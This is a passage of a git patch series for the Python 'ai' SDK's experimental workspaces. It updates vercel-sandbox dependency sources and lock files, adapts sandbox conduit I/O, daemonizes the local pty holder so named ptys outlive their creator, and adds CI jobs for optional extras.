22 +++++++++++++++++----- 7 files changed, 53 insertions(+), 34 deletions(-) diff --git a/examples/apps/afk/pyproject.toml b/examples/apps/afk/pyproject.toml index c239a0c9..ae899ec4 100644 --- a/examples/apps/afk/pyproject.toml +++ b/examples/apps/afk/pyproject.toml @@ -31,9 +31,9 @@ exclude-newer = "2 days" [tool.uv.sources] # ai.harnesses is not released yet, so the app runs on this checkout. ai = { path = "../../..", editable = true } -# vercel/vercel-py#415 (interactive PTY) is unreleased; this is the commit -# ai's dev group pins. Drop this once the `sandbox` extra has a real floor. -vercel-sandbox = { git = "https://github.com/vercel/vercel-py", rev = "ec07c8602d533067d7a9e6c400560659e65c6c50", subdirectory = "src/vercel-sandbox" } +# vercel/vercel-py#415 (interactive PTY) is merged to main but not released; +# uv.lock pins the commit. Drop this once the `sandbox` extra has a real floor. +vercel-sandbox = { git = "https://github.com/vercel/vercel-py", branch = "main", subdirectory = "src/vercel-sandbox" } [tool.pytest.ini_options] asyncio_mode = "auto" diff --git a/examples/apps/afk/uv.lock b/examples/apps/afk/uv.lock index 07563f5d..f18a90c0 100644 --- a/examples/apps/afk/uv.lock +++ b/examples/apps/afk/uv.lock @@ -28,7 +28,7 @@ dev = [ [package.metadata] requires-dist = [ { name = "ai", extras = ["claude-code", "sandbox"], editable = "../../../" }, - { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50" }, + { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&branch=main" }, ] [package.metadata.requires-dev] @@ -84,12 +84,13 @@ dev = [ { name = "opentelemetry-sdk", specifier = ">=1.43.0" }, { name = "pytest", specifier = ">=8.0" }, { name = "pytest-asyncio", specifier = ">=0.24" }, + { name = "pytest-timeout", specifier = ">=2.3" }, { name = "python-dotenv", specifier = ">=1.2.1" }, { name = "rich", specifier = ">=14.2.0" }, { name = "ruff", specifier = "~=0.8.0" }, { name = "ty", specifier = "~=0.0.37" }, { name = "vercel-oidc", specifier = ">=0.8.0" }, - { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50" }, + { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=main" }, ] [[package]] @@ -839,12 +840,16 @@ wheels = [ [[package]] name = "vercel-headers" version = "0.7.2" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-headers&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e4/0c/241e47d351413c108f0b411df087feeb15cf32f422000414ce24d3791537/vercel_headers-0.7.2.tar.gz", hash = "sha256:f5255da014032b357a3f18769bd19ff675b0ee3e4fc355c6bbd574dfc674222d", size = 6148, upload-time = "2026-09-08T17:09:14.589Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cd/64/12d53f70253dfd00f1a394bc930b5d55bad84ac17c9fc77b5ca0525ccd18/vercel_headers-0.7.2-py3-none-any.whl", hash = "sha256:26dcb0016b5c553e638385e532cb8557f071e247b46f2575d5737e48718dc8c6", size = 3922, upload-time = "2026-09-08T17:09:13.585Z" }, +] [[package]] name = "vercel-internal-core" version = "0.2.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&branch=main#d11705834e2e98973fe2c9998338f12c78471aad" } dependencies = [ { name = "anyio" }, { name = "httpx2" }, @@ -853,7 +858,7 @@ dependencies = [ [[package]] name = "vercel-oidc" version = "0.9.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&branch=main#d11705834e2e98973fe2c9998338f12c78471aad" } dependencies = [ { name = "anyio" }, { name = "httpx2" }, @@ -863,7 +868,7 @@ dependencies = [ [[package]] name = "vercel-sandbox" version = "0.7.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&branch=main#d11705834e2e98973fe2c9998338f12c78471aad" } dependencies = [ { name = "anyio" }, { name = "httpx2", extra = ["ws"] }, diff --git a/examples/apps/deepysec/pyproject.toml b/examples/apps/deepysec/pyproject.toml index 7fc608a0..8214cb2b 100644 --- a/examples/apps/deepysec/pyproject.toml +++ b/examples/apps/deepysec/pyproject.toml @@ -28,9 +28,9 @@ exclude-newer = "2 days" [tool.uv.sources] # ai.harnesses is not released yet, so the app runs on this checkout. ai = { path = "../../..", editable = true } -# vercel/vercel-py#415 (interactive PTY) is unreleased; this is the commit -# ai's dev group pins. Drop this once the `sandbox` extra has a real floor. -vercel-sandbox = { git = "https://github.com/vercel/vercel-py", rev = "ec07c8602d533067d7a9e6c400560659e65c6c50", subdirectory = "src/vercel-sandbox" } +# vercel/vercel-py#415 (interactive PTY) is merged to main but not released; +# uv.lock pins the commit. Drop this once the `sandbox` extra has a real floor. +vercel-sandbox = { git = "https://github.com/vercel/vercel-py", branch = "main", subdirectory = "src/vercel-sandbox" } [tool.pytest.ini_options] asyncio_mode = "auto" diff --git a/examples/apps/deepysec/uv.lock b/examples/apps/deepysec/uv.lock index b90d19b7..ec4e0d3f 100644 --- a/examples/apps/deepysec/uv.lock +++ b/examples/apps/deepysec/uv.lock @@ -63,7 +63,7 @@ dev = [ { name = "ruff", specifier = "~=0.8.0" }, { name = "ty", specifier = "~=0.0.37" }, { name = "vercel-oidc", specifier = ">=0.8.0" }, - { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50" }, + { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=main" }, ] [[package]] @@ -286,7 +286,7 @@ dev = [ [package.metadata] requires-dist = [ { name = "ai", extras = ["claude-code", "sandbox"], editable = "../../../" }, - { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50" }, + { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&branch=main" }, ] [package.metadata.requires-dev] @@ -840,12 +840,12 @@ wheels = [ [[package]] name = "vercel-headers" version = "0.7.2" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-headers&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-headers&branch=main#d11705834e2e98973fe2c9998338f12c78471aad" } [[package]] name = "vercel-internal-core" version = "0.2.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&branch=main#d11705834e2e98973fe2c9998338f12c78471aad" } dependencies = [ { name = "anyio" }, { name = "httpx2" }, @@ -854,7 +854,7 @@ dependencies = [ [[package]] name = "vercel-oidc" version = "0.9.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&branch=main#d11705834e2e98973fe2c9998338f12c78471aad" } dependencies = [ { name = "anyio" }, { name = "httpx2" }, @@ -864,7 +864,7 @@ dependencies = [ [[package]] name = "vercel-sandbox" version = "0.7.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&branch=main#d11705834e2e98973fe2c9998338f12c78471aad" } dependencies = [ { name = "anyio" }, { name = "httpx2", extra = ["ws"] }, diff --git a/pyproject.toml b/pyproject.toml index faa31b21..0a39085b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -86,10 +86,10 @@ dev = [ "vercel-oidc>=0.8.0", "opentelemetry-sdk>=1.43.0", "opentelemetry-exporter-otlp-proto-http>=1.43.0", - # vercel/vercel-py#415 (interactive PTY) is unreleased; this is the - # commit harness-sdk's live sandbox suite ran against. Moving it needs a - # `pytest -m sandbox` run. - "vercel-sandbox @ git+https://github.com/vercel/vercel-py@ec07c8602d533067d7a9e6c400560659e65c6c50#subdirectory=src/vercel-sandbox", + # vercel/vercel-py#415 (interactive PTY) is merged to main but not + # released yet. uv.lock pins the commit; re-locking picks up main, which + # needs a `pytest -m sandbox` run. + "vercel-sandbox @ git+https://github.com/vercel/vercel-py@main#subdirectory=src/vercel-sandbox", "pytest-timeout>=2.3", ] diff --git a/src/ai/workspaces/experimental/_sandbox.py b/src/ai/workspaces/experimental/_sandbox.py index fd3e5a72..6353e16c 100644 --- a/src/ai/workspaces/experimental/_sandbox.py +++ b/src/ai/workspaces/experimental/_sandbox.py @@ -212,7 +212,7 @@ async def _alive(self) -> bool: async def write(self, data: str) -> None: await self._ensure_conduit() assert self._conduit is not None - await self._conduit.send(data.encode()) + await self._conduit.stream.send(data.encode()) async def _ensure_conduit(self) -> None: """Attach the input conduit on first use. @@ -254,8 +254,9 @@ async def _await_ready(self) -> None: try: async with asyncio.timeout(CONDUIT_READY_TIMEOUT): while CONDUIT_READY.encode() not in seen: - chunk = await self._conduit.receive() - if not chunk: + try: + chunk = await self._conduit.stream.receive() + except Exception: # the stream ended break seen += chunk except TimeoutError as exc: @@ -941,8 +942,9 @@ async def _connect_pty( try: async with asyncio.timeout(CONDUIT_READY_TIMEOUT): while marker.encode() not in seen: - chunk = await conduit.receive() - if not chunk: + try: + chunk = await conduit.stream.receive() + except Exception: # the stream ended break seen += chunk except TimeoutError as exc: @@ -972,7 +974,7 @@ async def _connect_pty( async def send_bytes(data: bytes) -> None: try: - await conduit.send(data) + await conduit.stream.send(data) except Exception as exc: # The platform closed the interactive session under us. Say # so in the SDK's vocabulary rather than leaking anyio's. @@ -987,7 +989,7 @@ async def recv_bytes() -> bytes: data, leftover = leftover, b"" return data try: - return await conduit.receive() + return await conduit.stream.receive() except Exception: return b"" # end of stream: the codec settles receive()/wait() diff --git a/uv.lock b/uv.lock index d7670d47..367fe32b 100644 --- a/uv.lock +++ b/uv.lock @@ -101,7 +101,7 @@ dev = [ { name = "ruff", specifier = "~=0.8.0" }, { name = "ty", specifier = "~=0.0.37" }, { name = "vercel-oidc", specifier = ">=0.8.0" }, - { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50" }, + { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=main" }, ] [[package]] @@ -1404,31 +1404,43 @@ wheels = [ [[package]] name = "vercel-headers" version = "0.7.2" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-headers&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e4/0c/241e47d351413c108f0b411df087feeb15cf32f422000414ce24d3791537/vercel_headers-0.7.2.tar.gz", hash = "sha256:f5255da014032b357a3f18769bd19ff675b0ee3e4fc355c6bbd574dfc674222d", size = 6148, upload-time = "2026-09-08T17:09:14.589Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cd/64/12d53f70253dfd00f1a394bc930b5d55bad84ac17c9fc77b5ca0525ccd18/vercel_headers-0.7.2-py3-none-any.whl", hash = "sha256:26dcb0016b5c553e638385e532cb8557f071e247b46f2575d5737e48718dc8c6", size = 3922, upload-time = "2026-09-08T17:09:13.585Z" }, +] [[package]] name = "vercel-internal-core" version = "0.2.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "anyio" }, { name = "httpx2" }, ] +sdist = { url = "https://files.pythonhosted.org/packages/3e/61/3c15abe726c63ab0a44f75dbe49bd6221b8b17b424c2810b3086b404b6fb/vercel_internal_core-0.2.0.tar.gz", hash = "sha256:84bf3ff08a066682c8f02cadcc93a3e7580c27a06627db9f8e8d640bbe2fb53b", size = 19629, upload-time = "2026-09-15T14:33:29.705Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/90/7e/6cff886cddefc90479c2c73ada0fdcae0e6ba6362af8d2183cb5a1929d7d/vercel_internal_core-0.2.0-py3-none-any.whl", hash = "sha256:63069093f3ecaf09feed51fb602dfb4dc5ed17ac01524965881f46406c0d83f5", size = 23866, upload-time = "2026-09-15T14:33:28.855Z" }, +] [[package]] name = "vercel-oidc" version = "0.9.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "anyio" }, { name = "httpx2" }, { name = "vercel-headers" }, ] +sdist = { url = "https://files.pythonhosted.org/packages/65/f2/6767fdc4c53311ee6121bf958c1bb2ea00b8e9e19bdc59e1ffe5b4372bf3/vercel_oidc-0.9.0.tar.gz", hash = "sha256:71d59da7b96b53fa0f7255ee7cb39ae739623c497b15f9ec3b354ea7086c1a9d", size = 16119, upload-time = "2026-09-15T14:33:37.43Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/67/45/9ca537a8a1d2d5bdd60b9f5cab361c819ca9e13cc45248d4a917c3b7f7ef/vercel_oidc-0.9.0-py3-none-any.whl", hash = "sha256:04c99314aeeeb6ec3abaaad1729cbbe4df6dfad051771469585da843e0fbd7ff", size = 16005, upload-time = "2026-09-15T14:33:36.541Z" }, +] [[package]] name = "vercel-sandbox" version = "0.7.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=main#d11705834e2e98973fe2c9998338f12c78471aad" } dependencies = [ { name = "anyio" }, { name = "httpx2", extra = ["ws"] }, From 4f3cd9779adfeaff3033719cd566f1f4c534d4cb Mon Sep 17 00:00:00 2001 From: George Date: Tue, 29 Sep 2026 11:13:45 -0700 Subject: [PATCH 03/37] Keep named local ptys alive after their creator exits on Linux Local.pty() started the holder with asyncio.create_subprocess_exec, and on Linux asyncio kills a still-tracked child when its event loop closes, so every named pty ended with the process that created it. The holder now daemonizes (--daemon) and releases its launcher over a pipe once its socket and pid file exist; Local.pty() waits for the launcher. Reading the pid file no longer races the holder's cleanup. --- src/ai/workspaces/experimental/_local.py | 15 +++++++----- src/ai/workspaces/experimental/_pty_holder.py | 24 ++++++++++++++++++- 2 files changed, 32 insertions(+), 7 deletions(-) diff --git a/src/ai/workspaces/experimental/_local.py b/src/ai/workspaces/experimental/_local.py index dfff59f7..9dcff022 100644 --- a/src/ai/workspaces/experimental/_local.py +++ b/src/ai/workspaces/experimental/_local.py @@ -261,13 +261,14 @@ async def pty( sock = Path(tempfile.mkdtemp(prefix="harness-pty-")) / "pty.sock" flags = ["--transient"] holder = str(files("ai.workspaces.experimental") / "_pty_holder.py") - await asyncio.create_subprocess_exec( + launcher = await asyncio.create_subprocess_exec( sys.executable, # -P: keep the script's own directory off sys.path, where this # package's tty.py would shadow the stdlib module pty imports. "-P", holder, str(sock), + "--daemon", *flags, "--cols", str(cols), @@ -282,6 +283,9 @@ async def pty( stderr=asyncio.subprocess.DEVNULL, start_new_session=True, # its life is the program's, not ours ) + # The launcher exits once the holder's socket and pid file exist, and + # leaves no child for the event loop to kill on exit. + await launcher.wait() for _ in range(100): if sock.exists(): break @@ -316,11 +320,10 @@ async def ptys(self) -> list[_pty.PtyInfo]: async def _connect_pty(self, sock: Path, name: str | None) -> _pty.Pty: reader, writer = await asyncio.open_unix_connection(str(sock)) - pid_text = await asyncio.to_thread( - lambda: Path(f"{sock}.pid").read_text() - if Path(f"{sock}.pid").exists() - else "" - ) + try: + pid_text = await asyncio.to_thread(Path(f"{sock}.pid").read_text) + except FileNotFoundError: + pid_text = "" # the program already ended and its holder left pid = int(pid_text) if pid_text.strip().isdigit() else None async def send_bytes(data: bytes) -> None: diff --git a/src/ai/workspaces/experimental/_pty_holder.py b/src/ai/workspaces/experimental/_pty_holder.py index 04d66652..6d092198 100644 --- a/src/ai/workspaces/experimental/_pty_holder.py +++ b/src/ai/workspaces/experimental/_pty_holder.py @@ -14,8 +14,10 @@ `ai.workspaces.experimental._pty` speaks the same protocol from the SDK side. Usage: - _pty_holder.py SOCKET [--transient] [--cols N] [--rows N] -- PROGRAM [ARGS] + _pty_holder.py SOCKET [--transient] [--daemon] [--cols N] [--rows N] + -- PROGRAM [ARGS] --transient end the program when the client detaches (an unnamed pty) + --daemon detach from the launcher once the socket and pid file exist """ import contextlib @@ -72,11 +74,14 @@ def main() -> int: args = sys.argv[1:] sock_path = args.pop(0) transient = False + daemon = False cols, rows = 80, 24 while args and args[0] != "--": flag = args.pop(0) if flag == "--transient": transient = True + elif flag == "--daemon": + daemon = True elif flag == "--cols": cols = int(args.pop(0)) elif flag == "--rows": @@ -85,6 +90,21 @@ def main() -> int: args.pop(0) program = args + launcher_pipe = -1 + if daemon: + # Leave whoever launched us, but only once the socket and the pid + # file exist: the launcher waits on this pipe, so a caller that sees + # the launcher exit can connect and read the pid. Measured on Linux: + # an asyncio child is killed when its event loop closes, which ended + # every named pty when its creator exited. + read_end, launcher_pipe = os.pipe() + if os.fork(): + os.close(launcher_pipe) + os.read(read_end, 1) # b"" too if the holder died first + os._exit(0) + os.close(read_end) + os.setsid() + # The socket before the program: a client that sees the socket can # connect before the program has written a byte, so nothing it prints # is ever older than the scrollback. (Sockets are not inherited across @@ -101,6 +121,8 @@ def main() -> int: set_size(master, cols, rows) with open(sock_path + ".pid", "w") as f: f.write(f"{pid}\n") + if launcher_pipe != -1: + os.close(launcher_pipe) # the launcher may exit now scrollback = b"" client = None From 6ff467ca23ca2e0124b2722d654d956f76171031 Mon Sep 17 00:00:00 2001 From: George Date: Tue, 29 Sep 2026 11:16:21 -0700 Subject: [PATCH 04/37] CI: no-extras job, and claude-agent-sdk in the SDK compatibility job The no-extras job installs ai without extras and checks that claude_code() and VercelSandbox() raise InstallationError, and that import ai loads neither optional package. The compatibility job adds claude-agent-sdk at its minimum and latest versions, since the claude-code extra depends on its private transport API. --- .github/workflows/ci.yml | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 1808541c..36cdf19d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -44,9 +44,11 @@ jobs: - sdk-versions: minimum openai: openai==2.34.0 anthropic: anthropic==0.83.0 + claude-agent-sdk: claude-agent-sdk==0.2.144 - sdk-versions: latest openai: openai>=2.34.0,<4.0.0 anthropic: anthropic>=0.83.0,<2.0.0 + claude-agent-sdk: claude-agent-sdk>=0.2.144,<0.3 name: Provider SDKs (${{ matrix.sdk-versions }}) steps: - uses: actions/checkout@v4 @@ -64,6 +66,7 @@ jobs: uv pip install --upgrade '${{ matrix.openai }}' '${{ matrix.anthropic }}' + '${{ matrix.claude-agent-sdk }}' - run: uv run --no-sync mypy src tests - run: uv run --no-sync ty check @@ -71,3 +74,27 @@ jobs: uv run --no-sync pytest tests/providers/openai tests/providers/anthropic + tests/harnesses + + no-extras: + # `pip install ai` with no extras: the harness and sandbox pieces must + # import, and fail with InstallationError when built, not on first use. + runs-on: ubuntu-latest + name: Without optional extras + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-python@v5 + with: + python-version: "3.12" + + - uses: astral-sh/setup-uv@v5 + + - run: uv sync --no-default-groups + + - run: uv pip install pytest + + - run: >- + uv run --no-sync pytest + tests/harnesses/experimental/test_extras.py + tests/workspaces/experimental/test_extras.py From 31789e95baa67d424369972b6c0a41b7caffbb6d Mon Sep 17 00:00:00 2001 From: George Date: Wed, 30 Sep 2026 10:30:57 -0700 Subject: [PATCH 05/37] Fix explicit VercelSandbox credentials on vercel-sandbox 0.7 vercel-sandbox 0.7 takes credentials per client rather than per call, so VercelSandbox(token=, team_id=, project_id=) failed with a TypeError. Explicit credentials now go through a SandboxClient with a credentials factory, closed with the workspace. Missing pieces come from the environment, and a project (OIDC) token alone is enough: it names its own team and project. vercel-sandbox on vercel-py main needs an unreleased vercel-internal-core, so the dev group and the deepysec app take vercel-internal-core and vercel-oidc from the same main. --- .../content/docs/basics/workspaces.mdx | 3 +- .../content/docs/reference/workspaces.mdx | 2 +- examples/apps/deepysec/pyproject.toml | 10 +- examples/apps/deepysec/uv.lock | 18 ++- pyproject.toml | 5 +- src/ai/workspaces/experimental/_sandbox.py | 123 +++++++++++++++--- uv.lock | 17 +-- 7 files changed, 139 insertions(+), 39 deletions(-) diff --git a/docs/ai-python/content/docs/basics/workspaces.mdx b/docs/ai-python/content/docs/basics/workspaces.mdx index bd909952..589b14dd 100644 --- a/docs/ai-python/content/docs/basics/workspaces.mdx +++ b/docs/ai-python/content/docs/basics/workspaces.mdx @@ -60,7 +60,8 @@ async with workspaces.VercelSandbox(gateway=gateway) as sandbox: `VercelSandbox()` takes Vercel credentials from, in this order: -- `token`, `team_id`, and `project_id` arguments. +- `token`, `team_id`, and `project_id` arguments. A project (OIDC) token + alone is enough: it names its own team and project. - `VERCEL_TOKEN`, `VERCEL_TEAM_ID`, and `VERCEL_PROJECT_ID`, or `VERCEL_OIDC_TOKEN`, in the environment. - `.env.local` from `vercel link` and `vercel env pull`, found by searching diff --git a/docs/ai-python/content/docs/reference/workspaces.mdx b/docs/ai-python/content/docs/reference/workspaces.mdx index 14bc03b4..8d8b9dd1 100644 --- a/docs/ai-python/content/docs/reference/workspaces.mdx +++ b/docs/ai-python/content/docs/reference/workspaces.mdx @@ -61,7 +61,7 @@ support, and raises `ai.errors.InstallationError` when it is missing. | Argument | Description | Default | |---|---|---| -| `token`, `team_id`, `project_id` | Vercel credentials. | `None`: read from the environment or `.env.local` | +| `token`, `team_id`, `project_id` | Vercel credentials. A project (OIDC) token alone is enough: it names its own team and project. | `None`: read from the environment or `.env.local` | | `workdir` | Working directory in the VM. | `"/vercel/sandbox"` | | `snapshot` | Snapshot id to start from. | `None` | | `env` | Environment for everything run in the VM. | `None` | diff --git a/examples/apps/deepysec/pyproject.toml b/examples/apps/deepysec/pyproject.toml index 8214cb2b..c9499cdc 100644 --- a/examples/apps/deepysec/pyproject.toml +++ b/examples/apps/deepysec/pyproject.toml @@ -5,8 +5,10 @@ description = "deepsec's scan funnel, rebuilt on ai.harnesses" requires-python = ">=3.12" dependencies = [ "ai[claude-code,sandbox]", - # direct, so the git source below applies (see tool.uv.sources) + # direct, so the git sources below apply (see tool.uv.sources) "vercel-sandbox", + "vercel-internal-core", + "vercel-oidc", ] [dependency-groups] @@ -29,8 +31,12 @@ exclude-newer = "2 days" # ai.harnesses is not released yet, so the app runs on this checkout. ai = { path = "../../..", editable = true } # vercel/vercel-py#415 (interactive PTY) is merged to main but not released; -# uv.lock pins the commit. Drop this once the `sandbox` extra has a real floor. +# uv.lock pins the commit. Drop these once the `sandbox` extra has a real +# floor. The siblings come from the same main: vercel-sandbox there needs an +# unreleased vercel-internal-core, and `uv tool install` does not read uv.lock. vercel-sandbox = { git = "https://github.com/vercel/vercel-py", branch = "main", subdirectory = "src/vercel-sandbox" } +vercel-internal-core = { git = "https://github.com/vercel/vercel-py", branch = "main", subdirectory = "src/vercel-internal-core" } +vercel-oidc = { git = "https://github.com/vercel/vercel-py", branch = "main", subdirectory = "src/vercel-oidc" } [tool.pytest.ini_options] asyncio_mode = "auto" diff --git a/examples/apps/deepysec/uv.lock b/examples/apps/deepysec/uv.lock index ec4e0d3f..184dd7f3 100644 --- a/examples/apps/deepysec/uv.lock +++ b/examples/apps/deepysec/uv.lock @@ -62,7 +62,9 @@ dev = [ { name = "rich", specifier = ">=14.2.0" }, { name = "ruff", specifier = "~=0.8.0" }, { name = "ty", specifier = "~=0.0.37" }, + { name = "vercel-internal-core", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&rev=main" }, { name = "vercel-oidc", specifier = ">=0.8.0" }, + { name = "vercel-oidc", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&rev=main" }, { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=main" }, ] @@ -274,6 +276,8 @@ version = "0.1.0" source = { editable = "." } dependencies = [ { name = "ai", extra = ["claude-code", "sandbox"] }, + { name = "vercel-internal-core" }, + { name = "vercel-oidc" }, { name = "vercel-sandbox" }, ] @@ -286,6 +290,8 @@ dev = [ [package.metadata] requires-dist = [ { name = "ai", extras = ["claude-code", "sandbox"], editable = "../../../" }, + { name = "vercel-internal-core", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&branch=main" }, + { name = "vercel-oidc", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&branch=main" }, { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&branch=main" }, ] @@ -840,12 +846,16 @@ wheels = [ [[package]] name = "vercel-headers" version = "0.7.2" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-headers&branch=main#d11705834e2e98973fe2c9998338f12c78471aad" } +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e4/0c/241e47d351413c108f0b411df087feeb15cf32f422000414ce24d3791537/vercel_headers-0.7.2.tar.gz", hash = "sha256:f5255da014032b357a3f18769bd19ff675b0ee3e4fc355c6bbd574dfc674222d", size = 6148, upload-time = "2026-09-08T17:09:14.589Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cd/64/12d53f70253dfd00f1a394bc930b5d55bad84ac17c9fc77b5ca0525ccd18/vercel_headers-0.7.2-py3-none-any.whl", hash = "sha256:26dcb0016b5c553e638385e532cb8557f071e247b46f2575d5737e48718dc8c6", size = 3922, upload-time = "2026-09-08T17:09:13.585Z" }, +] [[package]] name = "vercel-internal-core" version = "0.2.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&branch=main#d11705834e2e98973fe2c9998338f12c78471aad" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&branch=main#a337e549acb8f69872c5537d91f981e5e9edac5e" } dependencies = [ { name = "anyio" }, { name = "httpx2" }, @@ -854,7 +864,7 @@ dependencies = [ [[package]] name = "vercel-oidc" version = "0.9.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&branch=main#d11705834e2e98973fe2c9998338f12c78471aad" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&branch=main#a337e549acb8f69872c5537d91f981e5e9edac5e" } dependencies = [ { name = "anyio" }, { name = "httpx2" }, @@ -864,7 +874,7 @@ dependencies = [ [[package]] name = "vercel-sandbox" version = "0.7.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&branch=main#d11705834e2e98973fe2c9998338f12c78471aad" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&branch=main#a337e549acb8f69872c5537d91f981e5e9edac5e" } dependencies = [ { name = "anyio" }, { name = "httpx2", extra = ["ws"] }, diff --git a/pyproject.toml b/pyproject.toml index 0a39085b..113b94a8 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -88,8 +88,11 @@ dev = [ "opentelemetry-exporter-otlp-proto-http>=1.43.0", # vercel/vercel-py#415 (interactive PTY) is merged to main but not # released yet. uv.lock pins the commit; re-locking picks up main, which - # needs a `pytest -m sandbox` run. + # needs a `pytest -m sandbox` run. Its sibling packages come from the same + # main: vercel-sandbox on main needs unreleased vercel-internal-core. "vercel-sandbox @ git+https://github.com/vercel/vercel-py@main#subdirectory=src/vercel-sandbox", + "vercel-internal-core @ git+https://github.com/vercel/vercel-py@main#subdirectory=src/vercel-internal-core", + "vercel-oidc @ git+https://github.com/vercel/vercel-py@main#subdirectory=src/vercel-oidc", "pytest-timeout>=2.3", ] diff --git a/src/ai/workspaces/experimental/_sandbox.py b/src/ai/workspaces/experimental/_sandbox.py index 6353e16c..2261b61d 100644 --- a/src/ai/workspaces/experimental/_sandbox.py +++ 